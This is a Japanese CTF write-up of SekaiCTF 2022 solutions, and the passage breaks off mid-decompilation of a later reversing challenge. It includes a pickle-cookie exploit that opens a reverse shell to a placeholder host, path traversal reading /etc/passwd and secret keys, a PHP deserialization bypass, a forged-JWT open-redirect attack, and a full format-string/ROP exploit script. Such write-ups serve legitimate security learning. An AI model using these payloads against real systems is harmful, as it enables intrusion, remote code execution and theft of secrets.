Satoooonの物置

CTFなどをしていない

SekaiCTF 2022 Writeup

SekaiCTFにkanonさんとチームDouble Lariatで参加して852チーム中16位でした。解けた問題についてWriteupを書いていきます。某リズムゲームがモチーフのCTFですが、公式とは何の関係はありません。

kanonさんのWriteup:

kanzya.github.io

公式Writeup:

github.com

スコアボード

Web

Bottle Poem [146 solves]

詩のリンク一覧が表示されているページのURLが与えられます。

見ていくと、http://bottle-poem.ctf.sekai.team/show?id=The_tiger.txtのようなリンクにアクセスすると詩が表示されることがわかります。idでPath Traversalができそうな雰囲気なので、/show?id=../../../../../../etc/passwdにアクセスしてみます。

❯ curl http://bottle-poem.ctf.sekai.team/show?id=../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

/etc/passwdにアクセスできました。サーバーのソースコードの場所を知りたいので、/proc/self/cmdlineを見てみます。

❯ curl http://bottle-poem.ctf.sekai.team/show?id=../../../../../proc/self/cmdline --output -  | sd '\x00' ' '
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    23  100    23    0     0     52      0 --:--:-- --:--:-- --:--:--    52
python3 -u /app/app.py

/app/app.pyを実行していることがわかりました。ソースコードは以下の様になっています。

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

Bottle製のアプリケーションだったようです。とりあえずsignadminでアクセスすれば何かありそうに見えるので、セッションの改ざんをしたいところです。鍵はconfig.secretにあるようなので、/app/config/secret.pyを見てみます。

sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

鍵の内容を見ることができました。以下のようなプログラムを実行して{"name": "admin"}になるCookieを作ってみます。

import bottle

sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

bottle.response.set_cookie("name", {"name": "admin"}, secret=sekai)

print(bottle.response._cookies)

出力されたCookieをセットして/signにアクセスすると、以下のような出力が得られます。

Hello, you are admin, but it’s useless.

adminでアクセスすれば何かあると思ったけど、何もありませんでした。viewsディレクトリからテンプレートのhtmlを見ても特に面白いものはありません。

どうすればいいか困ってかなり時間を使いましたが、そういえばBottleのCookie改ざんについての記事を前に読んだような...と思い出したので検索すると、以下の記事がヒットします。

mrtc0.hateblo.jp

Python製のWeb Frameworkはいくつかあるが, Django, Bottle, Pyramidなどでpickleがセッション管理に使われている. これらで使用されるSECRET_KEYが漏れるとそれを利用して悪意のあるpickleデータを生成し, Cookieを作成できる.

これによると、Bottleはセッション管理にpickleを利用しているようです。(読んだのに完全に忘れてた...)

記事を読んでreverse shellのexploitを書いてみます。

import bottle

sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

import os
class Obj(object):
    def __reduce__(self):
        return (os.system, ("""python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("X.X.X.X",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'""",))

obj = Obj()

bottle.response.set_cookie("name", obj, secret=sekai)

print(bottle.response._cookies)

出力されたCookieをセットして/signにアクセスするとpickleのunserialize処理が走り、reverse shellが実行されます。これでRCEができました。

フラグを探して見つけた/flagを実行するとフラグが手に入りました。

SEKAI{W3lcome_To_Our_Bottle}

Sekai Game Start [63 solves]

以下のようなPHPがサーバーで動いています。

<?php
include('./flag.php');
class Sekai_Game{
    public $start = True;
    public function __destruct(){
        if($this->start === True){
            echo "Sekai Game Start Here is your flag ".getenv('FLAG');
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
if(isset($_GET['sekai_game.run'])){
    unserialize($_GET['sekai_game.run']);
}else{
    highlight_file(__FILE__);
}

?>

自明なInsecure Deserializationがありますが、$_GET['sekai_game.run']にどうやって値を入れるかという壁があります。

PHPでは$_GETのような外部からのくる変数は、.が含まれていたら_に変換する仕様があります。

注意:

変数名のドットやスペースはアンダースコアに変換されます。 たとえば <input name="a.b" /> は $_REQUEST["a_b"] となります。

PHP: 外部から来る変数 - Manual

つまり、単純に/?sekai_game.run=hogeとアクセスしても$_GET['sekai_game_run']の方に値が入ってしまいます。これをどうにか回避して$_GET['sekai_game.run']に値を入れる必要があります。

この処理はphp_register_variable_ex関数の中にあります。

php-src/php_variables.c at master · php/php-src · GitHub

ソースコードを読んでbypassを探そうとしましたが、全然わからなかったのでひたすら検索しました。php_register_variable_ex ctfで調べると、以下の記事がヒットします。(安全客ってブログ転載サイトだと思ってるんだけど、元の記事わからなかったのでゆるして)

www.anquanke.com

これによると、?a[a.a=hogeとすれば$_GET['a_a.a']hogeが格納されるらしいです。つまり、/?sekai[game.run=hogeとすれば$_GET['sekai_game.run']に値を格納することができます!

これでInsecure Deserializationができるようになりましたが、もう一つの壁があります。

Sekai_Gameクラスを利用してフラグを出力するには$start = Trueの状態で__destructが呼ばれる必要がありますが、__destructの前にunserialize時に呼ばれる__wakeup$start = Falseにされてしまいます。

そのため、どうにかして__wakeupの呼び出しを回避する必要があります。これもわからなかったので無限回検索しました。

検索の途中、指定した属性の数が実際の属性の数より大きいときに__wakeupが呼ばれなくなる (CVE-2016-7124)を使ってbypassできるというのを中国圏の記事で多く見つけましたが、問題サーバーのPHPは7.4.5なので使えません。(​ PHP5 < 5.6.25 || PHP7 < 7.0.10 で有効らしいです)

https://chowdera.com/2021/11/20211124144627747m.htmlchowdera.com

全く使えるテクニックが見つからないので、「最近見つかったバグがあるのでは」と考えました。GitHubのissuesやbugs.php.netで検索を繰り返すと、一つの報告を見つけられます。

bugs.php.net

C:1:"クラス名":0:{}を入れると__wakeupが呼び出されなくなるらしいです。試したところ、今回のバージョンでも有効でした。

http://sekai-game-start.ctf.sekai.team/?sekai[game.run=C:10:"Sekai_Game":0:{}にアクセスすると、フラグを得られます。

Warning: Class Sekai_Game has no unserializer in /var/www/html/index.php on line 15
Sekai Game Start Here is your flag SEKAI{W3lcome_T0_Our_universe}

SEKAI{W3lcome_T0_Our_universe}

今回のWeb問で一番難しかった気がしますが、割と解かれているので不思議。どこかではよく知られていたテクニックなのかな......

Issues [49 solves]

以下のようなFlask製サーバーが動いています。

app.py

from flask import Flask, request, session, url_for, redirect, render_template, Response
import secrets
from api import api
from werkzeug.exceptions import HTTPException

app = Flask(__name__, template_folder=".")
app.secret_key = secrets.token_bytes()

jwks_file = open("jwks.json", "r")
jwks_contents = jwks_file.read()
jwks_file.close()

app.register_blueprint(api)

@app.after_request 
def after_request_callback(response: Response): 
    # your code here 
    print(response.__dict__)
    if response.headers["Content-Type"].startswith("text/html"):
        updated = render_template("template.html", status=response.status_code, message=response.response[0].decode())
        response.set_data(updated)
    return response

@app.errorhandler(Exception)
def handle_exception(e):
    if isinstance(e, HTTPException):
        return e
    return str(e), 500

@app.route("/", defaults={"path": ""})
@app.route("/<path:path>")
def home(path):
    return "OK", 200
    return render_template("template.html", status=200, message="OK")


@app.route("/login", methods=['GET', 'POST'])
def login():
    return "Not Implemented", 501
    return render_template("template.html", status=501, message="Not Implemented"), 501


@app.route("/.well-known/jwks.json")
def jwks():
    return jwks_contents, 200, {'Content-Type': 'application/json'}


@app.route("/logout")
def logout():
    session.clear()
    redirect_uri = request.args.get('redirect', url_for('home'))
    return redirect(redirect_uri)

api.py:

from flask import Blueprint, request
from urllib.parse import urlparse
import os
import jwt
import requests

api = Blueprint("api", __name__, url_prefix="/api")

# valid_issuer_domain = os.getenv("HOST")
valid_issuer_domain = "127.0.0.1:5000"
valid_algo = "RS256"


def get_public_key_url(token):
    is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain

    print(token)
    header = jwt.get_unverified_header(token)
    if "issuer" not in header:
        raise Exception("issuer not found in JWT header")
    token_issuer = header["issuer"]
    print("urllib: " + urlparse(token_issuer).netloc)

    if not is_valid_issuer(token_issuer):
        raise Exception(
            "Invalid issuer netloc: {issuer}. Should be: {valid_issuer}".format(
                issuer=urlparse(token_issuer).netloc, valid_issuer=valid_issuer_domain
            )
        )

    pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer)
    return pubkey_url

def get_public_key(url):
    resp = requests.get(url)
    resp = resp.json()
    key = resp["keys"][0]["x5c"][0]
    return key


def has_valid_alg(token):
    header = jwt.get_unverified_header(token)
    algo = header["alg"]
    return algo == valid_algo


def authorize_request(token):
    pubkey_url = get_public_key_url(token)
    if has_valid_alg(token) is False:
        raise Exception("Invalid algorithm. Only {valid_algo} allowed.".format(valid_algo=valid_algo))

    pubkey = get_public_key(pubkey_url)
    pubkey = "-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(pubkey=pubkey).encode()
    decoded_token = jwt.decode(token, pubkey, algorithms=["RS256"])
    if "user" not in decoded_token:
        raise Exception("user claim missing")
    if decoded_token["user"] == "admin":
        return True

    return False


@api.before_request
def authorize():
    if "Authorization" not in request.headers:
        raise Exception("No Authorization header found")

    authz_header = request.headers["Authorization"].split(" ")
    if len(authz_header) < 2:
        raise Exception("Bearer token not found")

    token = authz_header[1]
    if not authorize_request(token):
        return "Authorization failed"


f = open("flag.txt")
secret_flag = f.read()
f.close()


@api.route("/flag")
def flag():
    return secret_flag

/api/flagにアクセスすればフラグが手に入りますが、JWTによる認証が入っています。

JWTの認証は、JWTのヘッダに含まれるURLからJWTの公開鍵を取り出し、検証することで行われています。ヘッダの取り出しは検証前に行われているので、こちらが公開鍵のURLを指定することができますがこれも検証が行われています。

is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain

urllibでパースした結果のnetlocを見て、ドメインが自分自身のものか検証しています。PythonのURLパースといえばOrange TsaiさんのSSRFのスライドを思い出しますがうまく刺さらないし、ソースコードを見てbypassを考えても思いつかず時間を溶かしました。

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

見落としがないかもう一度ソースコードを見てみると、Open Redirectがあることに気が付きます。

@app.route("/logout")
def logout():
    session.clear()
    redirect_uri = request.args.get('redirect', url_for('home'))
    return redirect(redirect_uri)

Open Redirectがあれば検証をbypassできます。http://localhost:8080/logout?redirect=http://(自分のサーバー)/とすればリダイレクトで自分のサーバーに飛ばし、こちらが指定した公開鍵を使わせることができます。

サーバーに公開鍵を用意し、以下のプログラムを実行すればフラグが得られます。

import requests
import jwt

url = "http://issues-3m7gwj1d.ctf.sekai.team/"

privkey = open("privkey","rb").read()

token = jwt.encode(
    headers={
        "issuer": "http://localhost:8080/logout?redirect=http://X.X.X.X/",
        "alg": "RS256"
    },
    payload = {
        "user": "admin"
    },
    key=privkey,
    algorithm="RS256"
).decode()
print(token)

res = requests.get(url + "/api/flag", headers = {"Authorization": f"Bearer {token}"})
print(res.text)

Crab Commodities [30 solves]

Rust製のWebサイトです。7日間の間に商品を売買できるゲームのようなものを遊ぶことができます。

ゲーム画面

Marketに並んでいる商品の購入、買ってInventoryに入ったアイテムの売却、アップグレードの購入といった行動が可能です。

Storage UpgradeはInventoryの拡張、More Commoditiesは新しい種類の商品の追加、Loanは一回限りの借金、Donateは寄付をすることができます。Flagを購入することがゴールです。

Marketの価格の変動を利用して稼ぐことは一応できるんですけど、Flagの$2,000,000,000には到底届きません。LoanやSellなどのRace Conditionがないか簡単に試しましたが、無理そうでした。諦めてソースコードを読んでいきましょう。

ソースコードを読んで気になったのは所持金を表す変数のGame.moneyの型がi64で、APIで受け取るItemPayload.quantityの型がi32である点です。異なるサイズの数値型を扱っているので、どこかでオーバーフローが起きてそうですね。

何かを爆買いして金額のオーバーフローが起これば面白いことが起きそうです。アイテムを爆買いしようとしてもInventoryのサイズに入るかのチェックが入っていて駄目なので、アップグレードを爆買いしましょう。以下のソースコードを見ると、アップグレードは32767個まで買うことができるようです。

if body.quantity <= 0 || body.quantity > 32767 {
    return web::Json(APIResult {
        success: false,
        message: "Invalid quantity",
    });
}

試しにStorage Upgradeを32767個買ってみると、金額がオーバーフローして所持金が$1,018,297,296になりました。まだFlagには足りないな~と思って自分はMore Commoditiesを解放して適当な商品でさらにオーバーフローをしてFlagの金額に到達させたのですが、hamayanhamayanさんのWriteupによるとStorage Upgradeの個数を調整すれば普通にFlagの金額に届いたようです。(たしかにとなった)

blog.hamayanhamayan.com

競技中に書いたコードは以下の様になります。出力されたCookieを使ってアクセスし、Flagを購入するとフラグが手に入ります。

import requests

ses = requests.Session()

url = "http://crab-commodities.ctf.sekai.team"

print(ses.post(url + "/auth/register", data={"username": "satoooon", "password": "hogehoge"}).text)
# print(ses.post(url + "/auth/login", data={"username": "satoooon", "password": "hogehoge"}).text)
print(ses.post(url + "/api/reset").text)

print(ses.post(url + "/api/upgrade", data={"name": "Storage Upgrade", "quantity": 32760}).text)
print(ses.post(url + "/api/upgrade", data={"name": "More Commodities", "quantity": 1}).text)
print(ses.post(url + "/api/buy", data={"name": "Palladium", "quantity": 3000000}).text)
print(ses.post(url + "/api/sell", data={"name": "Palladium", "quantity": 3000000}).text)
print(ses.post(url + "/api/buy", data={"name": "Palladium", "quantity": 3000000}).text)

print(ses.cookies)

SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}

Pwn

SaveMe [44 solves]

以下のようなバイナリです。Ghidraでデコンパイルしました。

void store_flag(void)

{
  long lVar1;
  int __fd;
  void *__buf;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  __buf = malloc(0x50);
  __fd = open("flag.txt",0);
  if (__fd == -1) {
    puts("Cannot read flag!\nExiting...");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  read(__fd,__buf,0x50);
  close(__fd);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void init(void *param_1)

{
  long lVar1;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  memset(param_1,0,0x50);
  mmap(seccomp_init,0x1000,7,0x22,0,0); // rwx
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void seccomp_filter(void)

{
  long lVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  uVar2 = seccomp_init(0);
  seccomp_rule_add(uVar2,0x7fff0000,0,0); // open
  seccomp_rule_add(uVar2,0x7fff0000,1,0); // write
  seccomp_rule_add(uVar2,0x7fff0000,0xe7,0);  // exit_group
  seccomp_load(uVar2);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



undefined8 main(void)

{
  long in_FS_OFFSET;
  long local_70;
  char buf [88];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_70 = 0;
  store_flag();
  init(buf);
  seccomp_filter();
  puts("This is the message from flag:");
  puts("------------------------------------------------------");
  puts("| I got lost in my memory, moving around and around. |");
  puts("| Please help me out!                                |");
  printf("| Here is your gift: %p                  |\n",buf);
  puts("------------------------------------------------------");
  puts("[1] Save him");
  puts("[2] Ignore");
  printf("Your option: ");
  __isoc99_scanf("%lld",&local_70);
  if (local_70 == 1) {
    puts("Hmmm, so where should I start to go?");
  }
  else {
    if (local_70 == 2) {
      printf("Please leave note for the next person: ");
      __isoc99_scanf("%80s",buf);
      printf(buf);
      putc(10,stdout);
    }
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fc000)

やってることは以下の通りです。

  • フラグをheapに格納する

  • seccompのためにrwxでmmapする (このあたりよくわからない)

  • seccompでread/write/group_exit以外のsyscallを制限する

  • 80byte読み込んでFSB

とりあえずDouble Staged FSBを試みましたが、80byteという制限が割と厳しくて駄目です。また、通信するデータが大きいと別のsyscallが呼ばれてseccompで落ちるようなので、0x10000くらいのサイズで%{0x10000}c%nするやつができません。%hnサイズでしか通らないので、諸々の事情を加味すると書き替えられるのは6bytesくらいで限界です。(もっと賢い方法があるのかもしれない)

最初に思いついたのは、RBPをrwx領域のところに書き替えリターンアドレスをmainの途中に戻しもう一回FSBをしてstack pivotでshellcode実行する案ですが、Canaryの存在が厳しいです。一回目でcanary leakできても二回目はスタックに入力のバッファが存在しないのでDouble Staged FSBが必須になるんですが、80byteをどうしても越えてしまいます。

ではどうしたかというと、Canaryと__stack_chk_fail@gotを書き替えました。

canaryを不正な値にすれば__stack_chk_fail@gotが呼ばれるのですが、呼ばれたときにはスタックにまだ入力したバッファが下に存在します。つまりpop gadgetでrspがバッファに到達できればROPが可能です。これがギリギリ通りました。

以下のgadgetを使用します。(ret2csuのやつです)

0x00000000004015b2 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

それと合わせてFSBのpayloadをROPの分が入るようにゴルフします。ROPができるようになったらrsiをscanfのリターンアドレスの位置になるように調整してscanfを呼び出せば、純粋なROPが可能になります。(%sの代入は、mainの処理の途中に飛ばせば省略できます)

純粋なROPができたらret2shellcodeして適当にheapにあるフラグを取り出しましょう。

import sys
import glob
from pwn import *

context.terminal = "wterminal"

context.binary = "./saveme"
chall = context.binary
libc = "./libc-2.31.so"
nc = "nc challs.ctf.sekai.team 4001"

if len(glob.glob(libc)) == 1:
    libc = ELF(libc)

def connect():
    if "debug" in sys.argv:
        return gdb.debug(context.binary.path, command)
    elif "remote" in sys.argv:
        _, domain, port = nc.split()
        return remote(domain, int(port))
    else:
        return process(context.binary.path)

def to_bytes(v):
    return str(v).encode()

def unpack(data):
    return u64(data.rstrip().ljust(8, b"\x00"))

command = '''
b *0x0040151d
b *0x401070
c
'''

io = connect()

io.recvuntil("Here is your gift: 0x")
buf = int(io.recvuntil(" ").rstrip(), 16)
log.info(f"buf: {buf:x}")

io.sendlineafter("Your option: ", "2")

__stack_chk_fail_got = 0x404038
canary_addr = buf + 8 * 0xb

pop_rdi = 0x00000000004015bb
pop_rsi_r15 = 0x00000000004015b9
ret = 0x0000000000401016
pop6 = 0x4015b2
main_scanf = 0x401500
scanf_retaddr = buf + 0x38

payload = f"%{pop6&0xffff}c%16$hn%17$n".encode()
payload += b"A" * (8 - len(payload) % 8)
payload += p64(pop_rsi_r15)
payload += p64(scanf_retaddr)
payload += p64(0)
payload += p64(ret)
payload += p64(main_scanf)
payload += b"A" * (0x50 - 0x10 - len(payload))
payload += p64(__stack_chk_fail_got) + p64(canary_addr)

print(payload, len(payload))

assert b" " not in payload
assert b"\n" not in payload
assert len(payload) <= 80

io.sendlineafter("Please leave note for the next person: ", payload)

scanf_plt = 0x401110
exec_area = 0x405000

payload = b""
payload += p64(pop_rdi)
payload += p64(next(chall.search(b"%80s\x00")))
payload += p64(pop_rsi_r15)
payload += p64(exec_area)
payload += p64(0)
payload += p64(scanf_plt)
payload += p64(exec_area)

io.sendline(payload)

shellcode = asm(f"""
    mov rdi, 0x10
    mov rax, 0x4010f0
    call rax
    sub rax, 0x1410
    mov rdi, 1
    mov rsi, rax
    mov rdx, 0x100
    mov rax, 1
    syscall
""")

io.sendline(shellcode)


io.interactive()

SEKAI{Y0u_g0T_m3_n@w_93e127fc6e3ab73712408a5090fc9a12}

公式Writeup見たらputc@got使ってた。何もわざわざcanary壊さなくても良かった......

Reverse

Matrix Lab 1 [191 solves]

Javaクラスファイルが渡されます。デコンパイラ持ってなかったので調べたんですが、Intellij IDEAでもデコンパイルできるんですね。結果がこちらです。

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.util.Scanner;

public class Sekai {
    private static int length = (int)Math.pow(2.0D, 3.0D) - 2;

    public Sekai() {
    }

    public static void main(String[] var0) {
        Scanner var1 = new Scanner(System.in);
        System.out.print("Enter the flag: ");
        String var2 = var1.next();
        if (var2.length() != 43) {
            System.out.println("Oops, wrong flag!");
        } else {
            String var3 = var2.substring(0, length);
            String var4 = var2.substring(length, var2.length() - 1);
            String var5 = var2.substring(var2.length() - 1);
            if (var3.equals("SEKAI{") && var5.equals("}")) {
                assert var4.length() == length * length;

                if (solve(var4)) {
                    System.out.println("Congratulations, you got the flag!");
                } else {
                    System.out.println("Oops, wrong flag!");
                }
            } else {
                System.out.println("Oops, wrong flag!");
            }

        }
    }

    public static String encrypt(char[] var0, int var1) {
        char[] var2 = new char[length * 2];
        int var3 = length - 1;
        int var4 = length;

        int var5;
        for(var5 = 0; var5 < length * 2; ++var5) {
            var2[var5] = var0[var3--];
            var2[var5 + 1] = var0[var4++];
            ++var5;
        }

        for(var5 = 0; var5 < length * 2; ++var5) {
            var2[var5] ^= (char)var1;
        }

        return String.valueOf(var2);
    }

    public static char[] getArray(char[][] var0, int var1, int var2) {
        char[] var3 = new char[length * 2];
        int var4 = 0;

        int var5;
        for(var5 = 0; var5 < length; ++var5) {
            var3[var4] = var0[var1][var5];
            ++var4;
        }

        for(var5 = 0; var5 < length; ++var5) {
            var3[var4] = var0[var2][length - 1 - var5];
            ++var4;
        }

        return var3;
    }

    public static char[][] transform(char[] var0, int var1) {
        char[][] var2 = new char[var1][var1];

        for(int var3 = 0; var3 < var1 * var1; ++var3) {
            var2[var3 / var1][var3 % var1] = var0[var3];
        }

        return var2;
    }

    public static boolean solve(String var0) {
        char[][] var1 = transform(var0.toCharArray(), length);

        for(int var2 = 0; var2 <= length / 2; ++var2) {
            for(int var3 = 0; var3 < length - 2 * var2 - 1; ++var3) {
                char var4 = var1[var2][var2 + var3];
                var1[var2][var2 + var3] = var1[length - 1 - var2 - var3][var2];
                var1[length - 1 - var2 - var3][var2] = var1[length - 1 - var2][length - 1 - var2 - var3];
                var1[length - 1 - var2][length - 1 - var2 - var3] = var1[var2 + var3][length - 1 - var2];
                var1[var2 + var3][length - 1 - var2] = var4;
            }
        }

        String var10001 = encrypt(getArray(var1, 0, 5), 2);
        return "oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2".equals(var10001 + encrypt(getArray(var1, 1, 4), 1) + encrypt(getArray(var1, 2, 3), 0));
    }
}

色々試してみたところ、encryptは暗号化前の1文字と暗号化後の1文字が対応しているようです。

入力: SEKAI{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
最後の比較される文字列: CCCCCCCCCCCC@@@@@@@@@@@@AAAAAAAAAAAA
入力: SEKAI{_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
結果: ]CCCCCCCCCCC@@@@@@@@@@@@AAAAAAAAAAAA
入力: SEKAI{A_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
結果: CCCCCCCCCCCC^@@@@@@@@@@@AAAAAAAAAAAA
入力: SEKAI{AA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
結果: CCCCCCCCCCCC@@@@@@@@@@@@_AAAAAAAAAAA
入力: SEKAI{AAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
結果: CCCCCCCCCCCC@@@@@@@@@@@@A_AAAAAAAAAA
入力: SEKAI{AAAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
結果: CCCCCCCCCCCC@^@@@@@@@@@@AAAAAAAAAAAA
入力: SEKAI{AAAAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
結果: C]CCCCCCCCCC@@@@@@@@@@@@AAAAAAAAAAAA

暗号化後の文字は文字列を三つに分けて、1,2,3,3,2,1のように割り振られていますね。

1文字ずつ総当たりして解を求めます。

public static void main(String[] argv) {
        String[] flag = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".split("");
        String[] ans = "oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2".split("");
        for (int i = 0; i < 36; i++) {
            int idx;
            if (i % 6 < 3) {
                idx = i / 3 + (i % 6) * 12;
            } else {
                idx = i / 3 + (2 - i % 3) * 12;
            }
            // System.out.println(idx);
            for (char c = 0x20; c < 0x80; c++) {
                flag[i] = String.valueOf(c);
                String[] result = get_result(String.join("", flag)).split("");
                // System.out.println(String.join("", flag));
                // System.out.println(String.join("", result));
                if (result[idx].equals(ans[idx])) {
                    break;
                }
            }
        }
        System.out.println(String.join("", flag));
        System.out.println(get_result(String.join("", flag)));
        return;
    }

SEKAI{m4tr1x_d3cryP710N_15_Fun_M4T3_@2D2D!}

Matrix Lab 2 [80 solves]

exeファイルが渡されますが、かなり大きくて読むのが難しいです。

じゃあ動的解析してみようということで、Windows Process Monitorをためしに使ってみました。(straceみたいなやつです)

ログを見てみると、python37.dllという文字が見えます。PythonコードをPyinstallerでexe化されてそうですね。

以下の記事を元にソースコードを復元します。

manumaruscript.com

# uncompyle6 version 3.9.0a1
# Python bytecode version base 3.7.0 (3390)
# Decompiled from: Python 3.8.10 (default, Jun 22 2022, 20:18:18) 
# [GCC 9.4.0]
# Embedded file name: Matrix_Lab.py
print('Welcome to Matrix Lab 2! Hope you enjoy the journey.')
print('Lab initializing...')
try:
    import matlab.engine
    engine = matlab.engine.start_matlab()
    flag = input('Enter the lab passcode: ').strip()
    outcome = False
    if len(flag) == 23 and flag[:6] == 'SEKAI{' and flag[-1:] == '}':
        A = [ord(i) ^ 42 for i in flag[6:-1]]
        B = matlab.double([A[i:i + 4] for i in range(0, len(A), 4)])
        X = [list(map(int, i)) for i in engine.magic(4)]
        Y = [list(map(int, i)) for i in engine.pascal(4)]
        C = [[None for _ in range(len(X))] for _ in range(len(X))]
        for i in range(len(X)):
            for j in range(len(X[i])):
                C[i][j] = X[i][j] + Y[i][j]

        C = matlab.double(C)
        if engine.mtimes(C, engine.rot90(engine.transpose(B), 1337)) == matlab.double([[2094, 2962, 1014, 2102], [2172, 3955, 1174, 3266], [3186, 4188, 1462, 3936], [3583, 5995, 1859, 5150]]):
            outcome = True
    elif outcome:
        print('Access Granted! Your input is the flag.')
    else:
        print('Access Denied! Your flag: SADGE{aHR0cHM6Ly95b3V0dS5iZS9kUXc0dzlXZ1hjUQ==}')
except:
    print('Unknown error. Maybe you are running the lab in an unsupported environment...')
    print('Your flag: SADGE{ovg.yl/2M6pWQB}')
# okay decompiling Matrix_Lab2.pyc

MATLABを使いフラグを行列に変換して計算した結果を比較しているようですね。

MATLABは持ってないのでnumpyで逆演算を書きます。

import numpy as np
X = [[16,  2,  3, 13],
       [ 5, 11, 10,  8],
       [ 9,  7,  6, 12],
       [ 4, 14, 15,  1]]

Y = [[1,1,1,1],[1,2,3,4],[1,3,6,10],[1,4,10,20]]

C = [[None for _ in range(len(X))] for _ in range(len(X))]
for i in range(len(X)):
    for j in range(len(X[i])):
        C[i][j] = X[i][j] + Y[i][j]

C = np.matrix(C, dtype="float64")
D = np.matrix([[2094, 2962, 1014, 2102], [2172, 3955, 1174, 3266], [3186, 4188, 1462, 3936], [3583, 5995, 1859, 5150]], dtype="float64")
print(C, D)

E = (C**-1) * D

B = np.transpose(np.rot90(E, -1337))


flag = "SEKAI{"
A = np.matrix([[0 for _ in range(4)] for _ in range(4)], dtype="float64")
for x in range(4):
    for y in range(4):
        a = B[x,y]
        A[x,y] = int(round(a))
        flag += chr(int(round(a)) ^ 42)
flag += "}"


print(flag)

SEKAI{M47L4B154W3S0M3!}

Matrix Lab 3 [19 solves]

ELFが渡されます。デバッグ情報付きで優しい。

デコンパイル結果を見てみると、vbxという謎の関数群が見えます。

int main(void)

{
  int iVar1;
  uint uVar2;
  long lVar3;
  size_t sVar4;
  uint8_t *puVar5;
  vbx_ubyte_t *dest;
  vbx_ubyte_t *dest_00;
  vbx_ubyte_t *dest_01;
  vbx_ubyte_t *dest_02;
  vbx_ubyte_t *v_dst;
  long in_FS_OFFSET;
  RNG rng;
  int i;
  uint8_t *A;
  vbx_ubyte_t *v_A;
  vbx_ubyte_t *v_B;
  vbx_ubyte_t *v_C;
  vbx_ubyte_t *v_D;
  vbx_ubyte_t *v_O;
  uint8_t *output;
  uint8_t key [16];
  char command [65];
  uint8_t keys [176];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("+------+.    ");
  puts("|`.    | `.  ");
  puts("|  `+--+---+ ");
  puts("|   |  |   | ");
  puts("+---+--+.  | ");
  puts(" `. |    `.| ");
  puts("   `+------+ ");
  vbxsim_init(0x200,0x4000,0x100,6,5,4,0,0);
  lVar3 = ptrace(PTRACE_TRACEME,0,0,0);
  if (lVar3 == -1) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
